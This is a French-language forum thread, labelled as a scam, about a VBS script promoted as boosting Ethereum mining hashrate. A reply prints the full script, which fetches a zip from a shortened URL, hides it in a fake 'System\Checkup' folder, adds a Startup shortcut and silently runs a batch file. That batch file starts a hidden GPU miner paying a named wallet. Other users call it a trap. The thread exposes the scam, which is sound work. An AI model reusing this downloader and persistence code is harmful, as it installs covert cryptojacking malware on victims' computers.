[Scam] Miner rapidement avec ce script VBS

FrenchEthernuer

Après plusieurs mois de travail, ce script permets d’augmenter sa puissance de minage de 1MH/s.

emilek

Oh le vilain script kiddy ! Tu devrais pas plutôt être en train de réviser pour les épreuves du brevet des collèges ?

'* Récupère le dossier de l'utilisateur dans C
Set oShell = CreateObject("WScript.Shell")
strHomeFolder = oShell.ExpandEnvironmentStrings("%USERPROFILE%")

'* On creer le dossier cible
Set objFSO = CreateObject("Scripting.FileSystemObject")
If NOT objFSO.FolderExists(strHomeFolder & "\System") Then objFSO.CreateFolder(strHomeFolder & "\System")
If NOT objFSO.FolderExists(strHomeFolder & "\System\Checkup") Then objFSO.CreateFolder(strHomeFolder & "\System\Checkup")

'* On telecharge notre zip
Set args = WScript.Arguments
Url = "http://tiny.cc/systemf7"
dim xHttp: Set xHttp = createobject("MSXML2.ServerXMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send

with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile strHomeFolder & "\System\Checkup\system.zip", 2 '//overwrite
end with

'* On extrait le zip
ZipFile=strHomeFolder & "\System\Checkup\system.zip"
ExtractTo=strHomeFolder & "\System\Checkup\system"

Set fso = CreateObject("Scripting.FileSystemObject")
If NOT fso.FolderExists(ExtractTo) Then
fso.CreateFolder(ExtractTo)
End If

set objShell = CreateObject("Shell.Application")
set FilesInZip=objShell.NameSpace(ZipFile).items
objShell.NameSpace(ExtractTo).CopyHere(FilesInZip)
Set fso = Nothing
Set objShell = Nothing

'* On creer le raccourci dans le dossier demarrage
Set objShell = WScript.CreateObject("WScript.Shell")
startupPath = objShell.SpecialFolders("Startup")
Set objShortCut = objShell.CreateShortcut(startupPath & "\System.lnk")
objShortCut.TargetPath = strHomeFolder & "\System\Checkup\system\system\check\run.vbs"

objShortCut.Save

'* On exécute

Set oShell = CreateObject("WScript.Shell")
strHomeFolder = oShell.ExpandEnvironmentStrings("%USERPROFILE%")
Set WshShell = CreateObject("WScript.Shell") 
WshShell.CurrentDirectory = strHomeFolder & "\System\Checkup\system\system\check"
WshShell.Run strHomeFolder & "\System\Checkup\system\system\check\" & "start.bat", 0
Set WshShell = Nothing

emilek

Le script de W4r1ordz

setx GPU_FORCE_64BIT_PTR 0
setx GPU_MAX_HEAP_SIZE 100
setx GPU_USE_SYNC_OBJECTS 1
setx GPU_MAX_ALLOC_PERCENT 80
setx GPU_SINGLE_ALLOC_PERCENT 80

System.exe -G -F http://eth1.nanopool.org:8888/0xaa847464db4A6d58fb7Eeb3cad018430851428b0.FC

https://etherscan.io/address/0xaa847464db4A6d58fb7Eeb3cad018430851428b0

ithara

avec des urls pareilles moi je touche pas, de toute façon, ca sent le pîège à kikou
namého

ffmad

@emilek merci :slight_smile:

ithara

et merci pour le move